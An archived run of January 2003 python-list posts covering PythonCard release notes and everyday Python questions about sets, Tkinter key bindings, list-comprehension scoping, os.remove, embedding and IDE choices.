"Save Configuration" from the "Debug" menu, the window positions and sizes
of your runtime windows (Shell, Message Watcher, etc.) will be saved in
".pythoncard/pythoncard_config.txt" not the PythonCardPrototype directory.
Likewise, when you change the text style used by the codeEditor via the
"Styles..." menu item under the "Format" menu, the modification will be
saved in ".pythoncard/stc-styles.rc.cfg"

ka
---
Kevin Altis
altis at semi-retired.com
http://radio.weblogs.com/0102677/


--- changelog since release 0.6.9, 2002-10-23

Release 0.7 2003-01-15
added "Create Component Docs..." menu item to widgets
  sample for creating "component_documentation" directory
added home directory config support, so user configs
  are no longer stored in PythonCardPrototype
added numericArrayToImage function to graphic module
  BitmapCanvas can now draw numpy arrays
renamed all variables named list and dict to
  listX and dictX to avoid built-in type name confusion
numerous conversions to conform to PEP 290
  replaced use of types module for type checks with
    built-in type factory - isinstance(i, int)
  replaced string module functions with string methods
  replaced '== None' with 'is None'
    and '!= None' with 'is not None'
added many features to jabberChat sample
added additional *. wildcards for Linux like *.TXT
  *.JPG, *.JPEG since Unix filenames are case-sensitive
fixed stack in rpn calculator (Randy Lea)
added CodeEditor component to resourceEditor
added caseinsensitive_listKeySort function to util.py module
  used by flatfileDatabase for sorting list of dictionaries
added caseinsensitive_sort function to util.py module
added wordwrap function to util.py module
fixed command event in slider component
added new samples pages to main web site
added code folding to CodeEditor component
added openFileDialog and saveFileDialog wrappers to dialog.py
added clipboard module
added life sample
added spirograph sample
added wxNO_FULL_REPAINT_ON_RESIZE style to
  TextArea and CodeEditor components
added dirwalk generator function to utils.py
  changed findfiles to use dirwalk
fixed closeField event in RightTextField component
fixed script launching to handle spaces in directory names
added Phil Edwards' PySSHed sample
added simpleIEBrowser sample to test IEHtmlWindow component
added IEHtmlWindow component
fixed default backgroundColor handling in resourceOutput.py





From marklists at mceahern.com  Mon Jan  6 23:54:10 2003
From: marklists at mceahern.com (Mark McEahern)
Date: Mon, 6 Jan 2003 22:54:10 -0600
Subject: renaming files 
In-Reply-To: <3e1a5058_3@nopics.sjc>
Message-ID: <JHEOKEOOLIGLDHCMAHMOAEIOFIAA.marklists@mceahern.com>

> I can't find no easy way. I don't want to use a system call to 
> 'ls', so got a list of files with os.listdir(), but how can I 
> get a selective list?

import glob
for name in glob.glob('*.whatever'):
  print name

// m
-





From exarkun at intarweb.us  Sat Jan 18 12:15:52 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Sat, 18 Jan 2003 12:15:52 -0500
Subject: isinstance is broken
In-Reply-To: <2259b0e2.0301180850.7421e446@posting.google.com>
References: <2259b0e2.0301180850.7421e446@posting.google.com>
Message-ID: <20030118171552.GD22993@meson.dyndns.org>

On Sat, Jan 18, 2003 at 08:50:25AM -0800, Michele Simionato wrote:
> There are inconsistencies in "isinstance".
> 
> Example 1:
> 
> >>> isinstance(int,object)
> 1
> 
> gives no error message. I don't like it, an error should be
> raised. There is issubclass for that job:
> 
> >>> issubclass(int,object)
> 1
> 

  This isn't an inconsistency.

>>> int.__class__.__bases__
(<type 'object'>,)

  If it returned 0, it would be inconsistent.

  For the rest of your examples, I'm not sure I like the behavior, but it
does seem intentional.  I'd be interested to here from a Python developer
just why this behavior was decided upon.

-- 
A sad spectacle.  If they be inhabited, what a scope for misery 
and folly.  If they be not inhabited, what a waste of space.
                -- Thomas Carlyle, looking at the stars
-- 
 12:00am up 33 days, 9:48, 4 users, load average: 0.08, 0.17, 0.17
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030118/267cde89/attachment.sig>

From vvainio at tp.spt.fi  Fri Jan 10 09:10:24 2003
From: vvainio at tp.spt.fi (Ville Vainio)
Date: 10 Jan 2003 06:10:24 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com>
Message-ID: <ad496f8.0301100610.74586ad7@posting.google.com>

judoscript at hotmail.com (James Huang) wrote in message news:<52719db8.0301071942.7d23cc46 at posting.google.com>...


> This is an example of scripting:
> 
>   sendMail
>      from:  'me at here.com'
>        to:  'a at b.com, b at c.com'
>        cc:  'd at e.com'
>   subject:  'test test'
>    attach:  'bin.jar'
>      body:  [[*
>                 blah blah blah
>                 blah blah
>             *]]
>  htmlBody:  [[*
>                 <html><body><b>Blah</b> blah
>                 </body></html>
>             *]]

Yes, I found your example much more powerful, readable and
outrageously different from the hypothetical

import highlevelmailmodule

highlevelmailmodule.sendmail(from='me at here.com',
         to='you at there.com',
                ... etc

> I searched for a Python email example, found one at
>    http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/67083
> a peek will do. I wish I had explained better with examples, but ...

The conservative approach for cratching such an itch is to implement a
higher lever library module, not to invent a new language, operating
system or processor architecure.

> I've heard big software projects done in Python, guess that's what you
> are referring to. Being a C/C++/Java guy, it is hard for me to imagine
> creating big software with weakly-typed languages beyond prototyping.

It is true that it's very easy to *imagine* creating big software with
Java. However, it's easier to actually create that software in Python.



From sholden at holdenweb.com  Mon Jan  6 15:07:41 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Mon, 6 Jan 2003 15:07:41 -0500
Subject: sorted unique elements from a list; using 2.3 features
References: <av7cuu$cu2$1@slb0.atl.mindspring.net>
Message-ID: <YhlS9.24314$NB4.6001@FE05>

"Andrew Dalke" <adalke at mindspring.com> wrote in message
news:av7cuu$cu2$1 at slb0.atl.mindspring.net...
> I often need to get the subset of unique element from a list, in
> sorted order.  For example, if I have
>     [1, 4, 3, 4, 3, 1]
> I want to get
>     [1, 3, 4]
>
> The usual way to do this is
>
> # Let 'data' be a list or iterable object
> # For example, data = [1, 4, 3, 4, 3, 1]
> #          or, data = sys.stdin
> d = {}
> for x in data:
>    d[x] = 1
> subset = d.keys()
> subset.sort()
> # Use 'subset' as needed
>
> Python 2.3 offers at least two new ways to do this.  The first is
> with the new 'Set' class
>
> # Let 'data' be a list or iterable object
> import sets
> subset = list(sets.Set(data))
> subset.sort()
> # Use 'subset' as needed
>
> (The 'list()' is needed because that's the only way to get elements
> out from a list.  It provides an __iter__ but no 'tolist()' method.)
>
Presumably (I don't have 2.3 to hand, so I may get shot down in flames)
since a set has __iter__() one could also use

    subset = [x for x in sets.Set(data)]

to create the list you want to sort? I'm not convinced this is a win,
though, so timings might be interesting.

>
> The other is with the new 'fromkeys' class, which constructs
> a dictionary from a list -- the elements of the list become the
> keys and you can choose the value for the item, or just use the
> default of None.  To show you what that means
>
>  >>> dict.fromkeys([1,2,5,3,2,1], 0)
> {1: 0, 2: 0, 3: 0, 5: 0}
>  >>> dict.fromkeys([1,2,5,3,2,1])
> {1: None, 2: None, 3: None, 5: None}
>  >>>
>
> So for the task at hand,
>
> # Let 'data' be a list or iterable object
> subset = dict.fromkeys(data).keys()
> subset.sort()
> # Use 'subset' as needed
>
>
> For a real-life example, suppose you want to get unique lines
> from the stdin input stream, sort them, and dump the results
> to stdout.  Here's how to do it in Python 2.3
>
> import sys
> unique_lines = dict.fromkeys(sys.stdin).keys()
> unique_lines.sort()
> sys.stdout.writelines(unique_lines)
>
Of course, becuase your specification contains "in sorted order" you must
apply the sort() function at some stage, but the more interesting aspect of
this post is the new ways to get at the unique elements.

When sorting isn't required, of course, it should be perfectly possible to
simply write:

    for element in sets.Set(data):
        do_stuff_with(element)

and no list conversion is necessary since the iterator does what it's
supposed to (i.e.: support iteration :-)

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------






From vanevery at 3DProgrammer.com  Thu Jan 30 16:35:41 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 21:35:41 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <UgOZ9.314$XU5.188@news-binary.blueyonder.co.uk> <4V1_9.3850$wd2.304935@newsread2.prod.itd.earthlink.net> <vF2_9.1077$7S2.519@news-binary.blueyonder.co.uk> <tJ5_9.4299$wd2.324183@newsread2.prod.itd.earthlink.net> <fp6_9.1792$7S2.660@news-binary.blueyonder.co.uk>
Message-ID: <NUg_9.5376$Wu1.410501@newsread1.prod.itd.earthlink.net>

John Ochiltree wrote:
>
> You seem to be suggesting that when you discover a problem to be
> solved you approach it from mathematical first principles?

Yes... my problems right now are all 3D math problems, and need to get
solved by 3D math first principles.

> And what
> sort of mathematical pattern could be useful in implementing a
> singleton for instance (leaving aside the obvious distinction
> required between none and unity)?

This is backwards.  We don't condition our implementations to fit abstract
patterns for their own sake!  The abstract pattern is supposed to help me
with my implementation.  For 3D math problems, it does not help.

> Or the notion of the decorator, or
> abstract factory or just about any common day to day programming
> problem?

You're missing the basic point: not everyone's day-to-day programming
problems are "Patterns" in the sense discussed by books like "Design
Patterns."  My day-to-day problems are 3D math problems.  They have
absolutely nothing to do with Patterns.  Really!  I end up thinking things
like "do I need a more abstract container for this thingy?" maybe once every
2 months.  Day-to-day it's computation, correctness of test cases, and
optimization.

> You also appear to think that patterns provide some sort of
> direct solution. Implementation is mostly not supplied (esp. in GoF)
> and you have to implement the pattern in whatever language you're
> working in. The solution that a pattern provides is at the design
> level, probably best illustrated by the UML's class and sequence
> diagrams (amongst others).

I can only reiterate: there are many kinds of design that are *not*
Patterns.

> Or perhaps you have an aversion to acyclic graphs as well?

I don't *need* an acyclic graph right now.  When I do need it, I am jolly
well not going to implement a general purpose, bloated,
solve-everyone's-problems kind of acyclic graph.  I'm going to do something
rather domain specific for my game's AI.  Why?  Because we don't have the
computing horsepower to afford the recombinations of general purpose
approaches.  When we do, in 20 years or so, maybe I'll use acyclic graph
patterns to solve some of my problems.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From tim.one at comcast.net  Fri Jan 17 10:28:28 2003
From: tim.one at comcast.net (Tim Peters)
Date: Fri, 17 Jan 2003 10:28:28 -0500
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <3E27F175.7C9FE6B2@alcyone.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHKEPEEIAA.tim.one@comcast.net>

[Ville Vainio]
> Of course, there is still the embarrassing issue of the list
> comprehension variable not being local to the list comprehension. Why,
> oh why won't people pre-deprecate it... at least in the documentation.
> Any hope to get it into the tutorial/lang reference for 2.3 :)?

[Erik Max Francis]
> Probably for the same reason that other iterative constructs that
> introduce variables don't make them local to that structure either:
>
> >>> [x for x in range(10)]
> [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
> >>> x
> 9
> >>> for y in range(10): print y,
> ...
> 0 1 2 3 4 5 6 7 8 9
> >>> y
> 9

That's right, and is really all there is to it.  Guido wanted

    [f(x) for x in whatever]

to act "exactly like"

    result = []
    for x in whatever:
        result.append(f(x))

At the time, lexical nesting didn't yet exist in Python either.  The case
for "magically local" bindings has gotten stronger since lexical nesting was
added, but now we've got a backwards compatibility burden too.

Note that the C-ish

    if ((y = f(x) != whatever)
        do something with y

can be simulated now via

    if [y for y in [f(x)]][0] != whatever:
        do something with y

as is.  I hope to God nobody is doing that in real life, but then I never
expected anyone to do

    (f() and [g()] or [h()])[0]

in real life either <0.5 wink>.





From eric.brunel at pragmadev.com  Tue Jan 14 04:16:37 2003
From: eric.brunel at pragmadev.com (Eric Brunel)
Date: Tue, 14 Jan 2003 10:16:37 +0100
Subject: Tkinter: neither underline=1 nor bind() work on a Button
References: <avvslj$k1f$1@bob.news.rcn.net>
Message-ID: <b00k5k$4f6$1@news-reader11.wanadoo.fr>

morden wrote:
> Here is modified snippet from Dialog.py:
> 
> if __name__ == '__main__':
>      t = Button(None, {'text': 'Test',
>                        'command': _test,
>                        Pack: {}}, underline=1)
>      t.bind('<Key-Meta_L>, <Key-t>', _test)
>      t.bind('<Key-Alt_L>, <Key-t>', _test)
>      t.bind('<Key-t>', _test)
>      q = Button(None, {'text': 'Quit',
>                        'command': t.quit,
>                        Pack: {}})
>      t.mainloop()
> 
> 
> Alt-t does not work. Neither does Ctrl-t or plain t.
> Pressing the button with the mouse does invoke _test.
> Alt-e does not work.
> 
> Any ideas on how to fix this?

First, I don't know where you found this utterly horrible syntax for 
Tkinter calls. In fact, it's a part of your problem:
- Bindings in Tkinter/Tk only fire when the widget they're on have the 
input focus. Since buttons do not get "naturally" the input focus, they 
won't fire when you just run the program and press the key. Try to run your 
program, press the "tab" key until there's a black frame around your "Test" 
button, and press Alt-t. It should work...
- But: generally, you obviously want the whole window to respond to the key 
events, not only the button. So you shouldn't do the binding on t, but on 
the whole window. And here is the problem with your code: you never 
explicitely create the window, which is a bad idea...

So here is my modified version of your code, with a more usual syntax and 
IMHO much more readable:

-----------------------------------------------------------
from Tkinter import *

def _test(*whatever): print 'Hurray, it works!!!'

root = Tk()

t = Button(root, text='Test', command=_test, underline=1)
t.pack()

root.bind('<Meta-t>', _test)
root.bind('<Alt-t>', _test)
root.bind('<t>', _test)

q = Button(root, text='Quit', command = root.quit)
q.pack()

root.mainloop()
-----------------------------------------------------------

Notice I've done the bindings on root, which is the root window of your 
program. I also used another form for the events firing the binding, which 
is a bit different from what you wrote, but actually does what you expect. 
The "*whatever" parameter for the _test function is here because the 
function will get called differently from the button's command and from the 
bindings: there's a parameter passed to the function when it's a binding, 
and none when it's a button's command. The "*whatever" stuff just gets 
everything and ignores it.

For a more complete introduction, you may want to read:
http://www.pythonware.com/library/tkinter/introduction/index.htm

HTH
-- 
- Eric Brunel <eric.brunel at pragmadev.com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From clifford.wells at attbi.com  Mon Jan  6 15:39:07 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 06 Jan 2003 12:39:07 -0800
Subject: Explicit Frustration of the Self
In-Reply-To: <B43D149A9AB2D411971300B0D03D7E8BF0A811@natasha.auslabs.avaya.com>
References: 	 <B43D149A9AB2D411971300B0D03D7E8BF0A811@natasha.auslabs.avaya.com>
Message-ID: <1041885547.3565.166.camel@x1-6-00-04-5a-64-c4-03>

On Sun, 2003-01-05 at 22:34, Delaney, Timothy wrote:
> > From: DeadWisdom at wisefool.net [mailto:DeadWisdom at wisefool.net]
> > 
> > Another thought: how OO is Python?  It allows me to create Objects, I
> > guess.  But do these objects really have methods?  I don't think so. 
> > Not with the way self acts now.  Right now, you are effectively,
> > creating functions and then calling them with the first argument
> > outside of the parenthesis, and to the left of the function, and a
> > dot.
> 
> OK - officially a troll.

Was it the hairy feet that gave it away?

-- 
Cliff Wells <clifford.wells at attbi.com>





From mlh at furu.idi.ntnu.no  Thu Jan 16 14:56:59 2003
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Thu, 16 Jan 2003 19:56:59 +0000 (UTC)
Subject: Idea: __all__ in classes?
Message-ID: <slrnb2e3kb.gp8.mlh@furu.idi.ntnu.no>

I just had an idea: Perhaps the following could be a useful convention
for private attributes (and methods)?

>>> class Foo:
...     __all__ = 'bar', 'baz'
...     bar = 42
...     frozz = 51
...     def baz(self):
...         return 42
>>> f = Foo()
>>> f.bar
42
>>> f.baz()
42
>>> f.frozz
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: Foo attribute 'frozz' is private

With properties and metaclasses this should be fairly easy to
implement. (The private stuff I've already implemented with properties
a while back.) Of course this need not be the default behaviour; a
superclass with a suitable __metaclass__ attribute would be
sufficient...

I guess my question is whether this seems like a good idea at all...
And if it, perhaps, should be proposed as a PEP for inclusion in the
standard libs or something?

Just a thought...

-- 
Magnus Lie Hetland
http://hetland.org



From padraig.brady at corvil.com  Tue Jan  7 05:53:02 2003
From: padraig.brady at corvil.com (Padraig Brady)
Date: Tue, 07 Jan 2003 10:53:02 +0000
Subject: os.remove & os.rmdir
Message-ID: <RmyS9.1309$V6.1827@news.indigo.ie>

In python os.remove() and os.unlink() are synonomous.
This is incorrect for ISO C. The diff is that
remove() also removes empty dirs (like rmdir).

I've checked this on Solaris 8, FreeBSD 4.6 and Linux (glibc 2).
and the standard details:
http://www.opengroup.org/onlinepubs/007904975/functions/remove.html

So, should I do a simple patch?

Advantages I can see are:

    1. It follows the standard
    2. It removes the redundancy of 2 functions doing the same thing
    3. Is saves you having to write code like:
        If os.path.isdir(path):
            os.rmdir(path)
        else:
            os.unlink(path)

Disadvantages:

    1. Backwards compatability (minor I think)

cheers,
P?draig.




From tvassila at siac.com  Fri Jan 31 10:16:14 2003
From: tvassila at siac.com (Thanos Vassilakis)
Date: Fri, 31 Jan 2003 10:16:14 -0500
Subject: Implicit lists
Message-ID: <OF5EBB3A3B.CAB98F6B-ON85256CBF.0052FF8D@nsmtp.siac.com>

A long time ago I wrote a

class IsLike:
     def  __init__(self, *likeWhat):
          self.likeWhat = likeWhat

     def like(self, other):
          "maybe  overridde this"
          return type(other) in self.likeWhat

So you could do

ListLike = IsLike(list, tuple)

from mytypes import ListLike

lst = maybeAnArg
if not ListLike.like(lst):
    lst = [lst]
for x in lst:
    whatever


thanos



                                                                                                                                
                    Christian Tismer                                                                                            
                    <tismer at tismer.com        To:     Alex Martelli <aleax at aleax.it>                                            
                    >                         cc:     holger krekel <pyth at devel.trillke.net>, python-list at python.org            
                    Sent by:                  Subject:     Re: Implicit lists                                                   
                    python-list-admin@                                                                                          
                    python.org                                                                                                  
                                                                                                                                
                                                                                                                                
                    01/31/2003 09:46                                                                                            
                    AM                                                                                                          
                                                                                                                                
                                                                                                                                




Alex Martelli wrote:
> On Friday 31 January 2003 04:36 am, Christian Tismer wrote:
>    ...
>
>>Besides th fact that I believe strings as sequences
>>should be deprecated, since nobody makes use of it,
>
>
> This is an overbid, IMHO: some (small) fraction of the time,
> say 10%, I'm quite happy that strings are sequences for
> looping purposes; and far more often than that, for purposes
> of slicing, concatenation, repetition.  Deprecation can maybe
> be mooted for Python 3.0, of course, but no earlier.

Sorry, I didn't really express what I meant.
A reply from Guido first reminded me that
we of course need string slicing and indexing.
And then I realized that we are not seeking
for "sequenceness" or "stringness" at all.

What people really want to know is whether
"is this argument meant as a single argument
or is it a container of arguments".
That turns the overall question into
"is something a container"?

This still gives some ambiguities with multi-
purpose chamaeleans like the Numeric arrays,
but strings and array.array objects are very well
covered: They *are* sequences, but you don't
want them to be taken as argument collections,
since they are no containers.

Here the same, written in some bad Python style,
but as a builtin, it would do quite much
simplification for argument checking:

 >>> def iscontainer(obj):
...        try:
...                  obj[0:0]   # is sequence
...                  try:
...                            buffer(obj)
...                            return False
...                  except:
...                            pass
...                  return True
...        except:
...                  return False
...
 >>> iscontainer("")
0
 >>> iscontainer(1)
0
 >>> iscontainer(())
1

I'm (ab)using the fact that sequences which are
no containers usually support the buffer interface.

ciao - chris


--
http://mail.python.org/mailman/listinfo/python-list








From kwalker at earth1.net  Sun Jan 12 07:35:09 2003
From: kwalker at earth1.net (Bill Walker)
Date: Sun, 12 Jan 2003 07:35:09 -0500
Subject: Windows Console Colors
Message-ID: <3e215e09$1_4@corp.newsgroups.com>

Thanks for all the answers to my post. Attached is one of the best
solutions -- so neat that I thought I would share it. Put this little bit of
code at the start of your script and the windows dos console will be yellow
on blue
instead of the terribly boring white on black.

# code to change colors of the windows dos console
import os
print r" Ansi codes for yellow on blue"
os.system('cls')

# test
os.system('dir /p')
for ever in range(1000000):
    pass





-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From NOSPAM at fusion.net.nz  Mon Jan  6 04:21:28 2003
From: NOSPAM at fusion.net.nz (Lloyd)
Date: Mon, 6 Jan 2003 22:21:28 +1300
Subject: globals in modules and inheritance from a C object
Message-ID: <cRbS9.5391$j94.1014572@news02.tsnz.net>

Hey

1. I've embedded python in a simple application. I've created a custom
object and I've added it to the global dictionary with the name "capi". I
then load a python module with PyImport_ImportModuleEx passing my global
dictionary in as the globals parameter. The module loads correctly.

I then try instance an object from the module and I get this error:

global name 'capi' is not defined.

How do I get the module to check the global namespace for capi? It loaded it
ok with my passing globals as an optional parameter?

The reason I need an instance of the object is that I need the SELF pointer
passed through from python.

2. Is it possible to inherit from a module. I want to directly inherit from
one of my C custom objects. The only way I can see to do this currently is
to create a python proxy object that contains a C object and the overload
the get/set attr methods so that it correctly sends the requests to the C
object? Is there a better way around this? It seems a bit of a waste...

Thanks again
Lloyd






From tismer at tismer.com  Mon Jan 13 18:52:59 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 00:52:59 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
 MinimalPython project)
In-Reply-To: <vAsU9.66$_d2.118955@news.uswest.net>
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042428982.26240.python-list@python.org> <vAsU9.66$_d2.118955@news.uswest.net>
Message-ID: <3E23515B.5010508@tismer.com>

Kevin Altis wrote:
> There is only one name possible, it must be called pythy.

Hey, this is a great proclamation.

I'm eager to read the proof :-)

getting really confused by all the proposals -- chris





From tismer at tismer.com  Mon Jan 13 18:43:15 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 00:43:15 +0100
Subject: Stackless Python, Tail Recursion and Functional   Programming
In-Reply-To: <5.1.0.14.0.20030111161420.021aca28@mail.thewebsons.com>
References: <5.1.0.14.0.20030111054355.00b3d898@mail.thewebsons.com> <5.1.0.14.0.20030111161420.021aca28@mail.thewebsons.com>
Message-ID: <3E234F13.60109@tismer.com>

beno wrote:
> At 11:33 AM 1/11/2003 -0500, you wrote:
> 
>> [beno]
>> > So..my question du jour...
>> >
>> > ***
>> > Does stackless python optimize tail recursion?
>> > ***
>>
>> It does not.
> 
> 
> Darn. The truth hurts ;)

Always believe in Tim.
He's always telling the truth.

until-I-change-it- ly y'rs -- chris





From u9300103 at mail.lssh.tp.edu.tw  Tue Jan  7 05:50:28 2003
From: u9300103 at mail.lssh.tp.edu.tw (Tiberius Teng)
Date: 7 Jan 2003 02:50:28 -0800
Subject: best python editor/ide for windows
References: <mailman.1041876850.28073.python-list@python.org>
Message-ID: <9d791d77.0301070250.668ba51f@posting.google.com>

"Bjorn Pettersen" <BPettersen at NAREX.com> wrote in message news:<mailman.1041876850.28073.python-list at python.org>...
> > From: Tiberius Teng [mailto:u9300103 at mail.lssh.tp.edu.tw] 
> > 
> > I would suggest EmEditor (http://www.emurasoft.com).
> 
> Ok, I'll bite... Why? (i.e. why is it better than the others?) Not
> trying to argue, just looking for information :-)

For me, it's the only *correctly working* Unicode-supported text
editor with sufficient syntax-highlighting. You can get a free
academic license if you're a student or faculty member.

I must admit that I choose it because its Unicode support, because I
need to edit some Python scripts with many UTF-8 strings inside, and I
also often use Chinese & Japanese IME to input those texts.

Originally I tried VIM 6.1's Unicode support (VIM is my favorite
editor, too.), however it just doesn't work right (Have some codepage
conversion & text-display problems). At the end, I switched to
EmEditor to edit my all Python scripts.

If VIM have better Unicode in the future, I might switch back ;)



From reywang at optonline.net  Wed Jan  8 09:43:28 2003
From: reywang at optonline.net (Rey Wang)
Date: Wed, 08 Jan 2003 14:43:28 GMT
Subject: install DB2 SQL adapter
References: <IoDS9.1420$G01.240050@news4.srv.hcvlny.cv.net>
Message-ID: <kOWS9.10489$FT6.1827467@news4.srv.hcvlny.cv.net>

After I installed/downloaded zdb2da, it works now.


"Rey Wang" <reywang at optonline.net> wrote in message
news:IoDS9.1420$G01.240050 at news4.srv.hcvlny.cv.net...
> I try to install DB2adapter.
> /opt/Zope is home of Zope dir.
> bash-2.05$ pwd
> /opt/Zope/lib/python/Products/DB2
> bash-2.05$ ls
> DB2.py  DB2.pyc  _db2.so  idlelib  README
>
> I restart up Zope. But I can not add DB2 connection from
> http://linux:8080/manage.
>
> Please help
>
> Thanks
>
>





From hancock at anansispaceworks.com  Thu Jan 23 13:51:55 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Thu, 23 Jan 2003 18:51:55 GMT
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <6e07b825.0301222200.522fbbde@posting.google.com> <mailman.1043305181.1360.python-list@python.org> <3E2F9732.795D5FD3@alcyone.com>
Message-ID: <fRWX9.8372$Sv3.804461@newsread1.prod.itd.earthlink.net>

Erik Max Francis wrote:
> the only thing I
> think would be missing for a coup de grace would be normalizing the
> figures so they're easier to read and interpret)

>>> pls = {'C#': 424, 'C': 4100, 'java': 2400, 'python': 630, 'Cobol': 244,
...          'VB': 1500, 'C++': 2000, 'perl': 1700}
>>> kv = pls.items()
>>> kv.sort(lambda a,b: a[1]-b[1])
>>> for k,v in kv:
...     print "%s\t%5d\t%5.1f%%" % (k, v, (float(v)/sum)*100)
... 
C        4100    31.5%
java     2400    18.5%
C++      2000    15.4%
perl     1700    13.1%
VB       1500    11.5%
python    630     4.8%
C#        424     3.3%
Cobol     244     1.9%

Of course, whether "representation by number of sites mentioning it on the 
web" is of any use whatsoever is another question entirely.  But python is 
an awesome command line calculator -- it has certainly outcompeted "calc" 
for me. ;-D

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From tundra at tundraware.com  Sun Jan 12 23:10:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 13 Jan 2003 04:10:07 GMT
Subject: tkinter: Scrolling Very Long Menus On X-Windows
In-Reply-To: <mailman.1042422442.2728.python-list@python.org>
References: <2v1tva.qap.ln@boundary.tundraware.com> <mailman.1042422442.2728.python-list@python.org>
Message-ID: <mldtva.9cr.ln@boundary.tundraware.com>

jepler at unpythonic.net wrote:
> On Mon, Jan 13, 2003 at 12:50:07AM +0000, Tim Daneliuk wrote:
> 
>>I have a situation where I dynamically create menus that are longer than
>>the available vertical screen size.  On Win32, I get up- and down- scrolling
>>buttons at the top and bottom of the menu respectively.  However, this
>>does not happen on Unix (X).  Is there a way to get X to do the same thing?
> 
> 
> Not as far as I know.  This is a limitation of the Menu widget as
> implmented in Tkinter for X.  On Microsoft Windows, it uses the "real"
> window control, which scrolls nicely.
> 
> With a little bit of work you could make an auto-cascading or
> auto-subdividing menu, though.
> 
> Jeff
> 

Thanks - I wonder how practical it would be to inherit from Menu and
add scrolling ...

-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From pan-newsreader at thomas-guettler.de  Mon Jan  6 12:25:46 2003
From: pan-newsreader at thomas-guettler.de (Thomas Guettler)
Date: Mon, 06 Jan 2003 18:25:46 +0100
Subject: OOPServer Released
References: <mailman.1041604082.25895.clpa-moderators@python.org> <slrnb1bsp5.2ctr.karsten@datasink.webmonster.de>
Message-ID: <pan.2003.01.06.18.25.46.447928.1255@thomas-guettler.de>

On Fri, 03 Jan 2003 21:28:42 +0100, Karsten W. Rohrbach wrote:

> Thomas Guettler <guettli at thomas-guettler.de> wrote:
>> The implementation of OOPServer is 100% Python and avoids DTML, ZPT and
>> Acquisition.
> 
> Why would one want to avoid acquisition in Zope? It is one of the
> system's intrinsic features that brought me to Zope and kept me using it
> for all those years.

Why not use acquisition? I prefere inheritance!

Andrew Kuchling has put together a site "why not zope":
 http://www.amk.ca/python/writing/why-not-zope.html

A lot of his points are not true if you programm python
products (CVS, grep, ...). 

Nevertheless Zope is a nice wrapper around ZODB. That's why I
still use it.

 thomas

-- 
Thomas Guettler <guettli at thomas-guettler.de>
http://www.thomas-guettler.de



From altis at semi-retired.com  Wed Jan 29 13:44:00 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Wed, 29 Jan 2003 10:44:00 -0800
Subject: Boa constructor  "Error on startup"
References: <uvg08fk6n.fsf@rk-speed-rugby.dk>
Message-ID: <KgVZ9.373$Af6.36167@news.uswest.net>

Go back to using wxPython 2.4.0.1 until this is fixed in Boa. The problem is
that wxPython 2.4.0.2 no longer imports the string module and Boa has some
modules that are doing a from wxPython.wx import * but don't import the
string modules themselves. So, with 2.4.0.2 these modules can't load
properly anymore. Riaan will be checking in a fix to cvs soon and I think he
also plans to make a Boa 0.2.1 release.

ka

"Brian Elmegaard" <brian at rk-speed-rugby.dk> wrote in message
news:uvg08fk6n.fsf at rk-speed-rugby.dk...
> Hi,
>
> I just wanted to give Boa Constructor a try, so I installed v 0.2.0 on
> my win2000 running python 2.2.2 and wxpython 2.4.0.2.
>
> I get a message box entitled "Error on startup" with the message
> "Global name 'string' is not defined" when I try to run boa.py or
> boa.pyw.
>
> What should I do?
>
> tia,
> --
> Brian (remove the sport for mail)
> http://www.et.dtu.dk/staff/be





From tundra at tundraware.com  Sun Jan 26 14:50:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 26 Jan 2003 19:50:07 GMT
Subject: Getting SuperUser Authority From Within Running Python Program
In-Reply-To: <87of63opsg.fsf@mit.edu>
References: <mq7v0b.6g8.ln@boundary.tundraware.com> <mailman.1043541527.18943.python-list@python.org> <2ot01b.atg.ln@boundary.tundraware.com> <87of63opsg.fsf@mit.edu>
Message-ID: <tud11b.1dj.ln@boundary.tundraware.com>

throwaway at mit.edu wrote:
<SNIP>

> what business do non-root users have manipulating
> root-owned files?

When the user is, in fact, the sysadmin and wishes temporary access
to system files for administrative purposes.  Any numebr of
adminstration programs allow themselves to be invoked from
a user context of lower permissions and then "login" as the root.
('twander' isn't so much just a file browser as a GUI navigation
front-end to a more traditional command line shell.)

However, a bit of reading on the resources you and others provided
convinced me that this is a really terrible idea of scripts.

Thanks for the help,


-- 
------------------------------------------------------------------------------
